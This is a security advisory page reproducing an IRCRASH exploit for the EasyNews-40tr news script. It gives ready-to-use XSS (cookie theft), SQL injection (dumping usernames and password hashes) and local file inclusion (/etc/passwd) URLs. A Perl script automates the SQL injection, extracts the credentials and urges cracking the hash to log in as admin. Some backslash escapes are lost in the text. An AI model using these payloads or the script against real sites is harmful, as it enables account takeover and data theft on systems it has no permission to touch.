SecurityReason - EasyNews-40tr Multiple Remote Vulnerabilities (SQL Injection Exploit/XSS/LFI)

Advisory Text :

#!/usr/bin/perl

########################################################################
#############

#### EasyNews-40tr
####

#### Multiple Remote Vulnerabilities (SQL Injection Exploit/XSS/LFI)
####

########################################################################
#############

#
#

#Discovered by : IRCRASH By Dr.Crash
#

#Exploited By : Dr.Crash
#

#IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm
#

#
#

########################################################################
#############

#
#

#Script Download : http://myiosoft.com/download/EasyNews/easynews-40tr.zip
#

#
#

########################################################################
#############

# < XSS >
#

#XSS Address :
http://Sitename/staticpages/easypublish/index.php?PageSection=0&page=ind
ividual&table=edp_pupublish&read=<script>alert(document.cookie);</script
>

#
#

########################################################################
#############

# < SQL >
#

#SQL Address :
http://Sitename/dynamicpages/index.php?PageSection=7&page=individual&tab
le=edp_Help_Internal_News&read=1+union+all+select+1,2,3,4,concat(0x4c6f6
7696e3a,puUsername,0x3c656e64757365723e,0x0d0a50617373776f72643a,puPassw
ord,0x3c656e64706173733e),6+from+edp_puusers

#
#

########################################################################
#############

# < LFI >
#

#SQL Address :
http://Sitename/admin/login.php?lang=/../../../../../../../../../../../.
./../../../etc/passwd%00

#
#

########################################################################
#############

# Our site : Http://IRCRASH.COM
#

########################################################################
#############

use LWP;

use HTTP::Request;

use Getopt::Long;

sub header

{

print "

****************************************************

* EasyNews-40tr Sql Injection exploit *

****************************************************

*AUTHOR : IRCRASH *

*Discovered by : IRCRASH TEAM BY Dr.Crash *

*Exploited by : IRCRASH TEAM BY Dr.Crash *

*Our Site : IRCRASH.COM *

****************************************************";

}

sub usage

{

print "

* Usage : perl $0 -url http://Sitename/

****************************************************

";

}

my %parameter = ();

GetOptions(%parameter, "url=s");

$url = $parameter{"url"};

if(!$url)

{

header();

usage();

exit;

}

if($url !~ ///){$url = $url."/";}

if($url !~ /http:///){$url = "http://".$url;}

$vul =
"/dynamicpages/index.php?PageSection=7&page=individual&table=edp_Help_In
ternal_News&read=1+union+all+select+1,2,3,4,concat(0x4c6f67696e3a,puUser
name,0x3c656e64757365723e,0x0d0a50617373776f72643a,puPassword,0x3c656e64
706173733e),6+from+edp_puusers";

sub Exploit()

{

$requestpage = $url.$vul;

print "Requesting Page is ".$url."n";

my $req = HTTP::Request->new("POST",$requestpage);

$ua = LWP::UserAgent->new;

$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );

#$req->referer($url);

$req->referer("IRCRASH.COM");

$req->content_type('application/x-www-form-urlencoded');

$req->header("content-length" => $contlen);

$req->content($poststring);

$response = $ua->request($req);

$content = $response->content;

$header = $response->headers_as_string();

#Debug Modus delete # at beginning of next line

#print $content;

@name = split(/Login:/,$content);

$name = @name[1];

@name = split(/<enduser>/,$name);

$name = @name[0];

@password = split(/Password:/,$content);

$password = @password[1];

@password = split(/<endpass>/,$password);

$password = @password[0];

if(!$name && !$password)

{

print "nn";

print "!Exploit failed ! :(nn";

exit;

}

print "Username: ".$name."n";

print "Password: " .$password."nn";

print "Crack Md5 Password And Login In : $url/admin/n";

print "Enjoy My friend .....n";

}

#Starting;

print "

****************************************************

* EasyNews-40tr Sql Injection exploit *

****************************************************

*AUTHOR : IRCRASH *

*Discovered by : IRCRASH TEAM BY Dr.Crash *

*Exploited by : IRCRASH TEAM BY Dr.Crash *

****************************************************";

print "nnExploiting...n";

Exploit();